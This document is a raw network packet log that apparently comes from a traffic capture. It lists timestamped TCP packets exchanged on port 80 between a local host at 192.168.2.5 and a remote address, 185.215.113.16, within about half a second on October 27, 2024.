Oct 27, 2024 20:15:31.504142046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504167080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504281044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504307985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504350901 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.504376888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504404068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504432917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504468918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.504775047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504798889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504859924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504904032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.504951000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504977942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.504991055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.505189896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.505198002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.505218029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.505247116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.505275011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.505305052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.505410910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.553502083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553576946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553615093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553651094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553685904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553684950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.553719997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553728104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.553756952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553785086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.553869009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553901911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553936005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.553941011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.553991079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.554095030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.554130077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.554163933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.558027983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.589617014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589644909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589653969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589665890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589740038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589751005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589761019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589768887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.589807987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589821100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.589837074 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.589956999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.590275049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.590388060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.590399027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.590409994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.590415001 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.593766928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.611272097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611296892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611306906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611330986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611345053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611372948 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.611429930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.611534119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611553907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611565113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611680031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.611833096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611866951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611877918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611890078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.611951113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.611951113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.612215996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612229109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612241030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612262011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612276077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612283945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.612642050 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.612711906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612749100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612761021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612771988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.612822056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612833977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612844944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612847090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.612858057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612870932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.612880945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.612895966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.613672018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.613794088 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.614007950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.620949984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.620992899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621004105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621015072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621027946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621038914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621059895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.621222019 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.621290922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621331930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621344090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621356010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621378899 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.621488094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.621642113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621793985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621803999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621859074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621870041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621880054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621885061 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.621892929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.621917009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.621989965 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.622293949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.622306108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.622315884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.622538090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.662452936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.662467957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.662484884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.662493944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.662599087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.662599087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.670322895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670347929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670357943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670373917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670386076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670396090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670418024 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.670511961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.670661926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670675993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670686960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670803070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.670902967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670921087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670933962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670945883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.670969009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.671180964 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.706773043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.706798077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.706806898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.706845045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.706857920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.706876040 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.706986904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.707020998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.707026005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.707032919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.707062006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.707082987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.707093954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.707103968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.707108021 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.707954884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.731703997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731750011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731761932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731774092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731786013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731803894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731816053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731827021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731832981 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.731839895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.731956005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.732070923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732084036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732095957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732146978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732156992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732167959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732172012 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.732180119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732202053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732206106 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.732214928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.732235909 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.732405901 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.733658075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.733694077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.733705997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.733751059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.733760118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.733762026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.733773947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.733778954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.733941078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.738775015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738790035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738801003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738826990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738837957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738851070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738852978 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.738871098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738883972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738890886 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.738897085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.738918066 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.739092112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.739201069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739212036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739228964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739238977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739245892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739275932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739286900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739298105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739303112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.739331961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.739356041 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.779490948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.779520035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.779531002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.780430079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.787337065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787378073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787400961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787436008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.787439108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787466049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787491083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787518978 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.787739038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787766933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.787775040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787800074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787827015 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.787827015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.787954092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.787993908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.788213968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.788289070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.788311958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.788578033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.823874950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.823903084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.823920012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.823931932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.823942900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.823959112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.823992968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.824023008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.824038029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.824044943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.824053049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.824067116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.824134111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.845562935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845582008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845594883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845612049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845624924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845635891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845655918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845662117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.845669031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845679998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845691919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845700979 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.845702887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845735073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.845762014 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.845824957 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.846769094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.848706007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.848737955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.848793030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.848825932 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.848829985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.848869085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.848871946 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.848922014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.848953962 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.848973036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849081039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849172115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849203110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.849227905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849262953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849294901 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.849298954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849334002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849334002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.849369049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849401951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849431038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.849438906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.849473953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.855870962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.855931997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.855958939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.855967045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856003046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856072903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.856075048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856153965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856189013 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.856211901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856265068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856300116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856336117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.856343985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856373072 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.856379032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856412888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856441975 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.856447935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.856647968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.856965065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.857094049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.857146025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.857163906 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.857181072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.857214928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.857249022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.857273102 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.857281923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.857309103 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.896630049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.896667957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.896703959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.896734953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.896821022 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.904495001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904530048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904562950 CET	80	49719	185.215.113.16	192.168.2.5
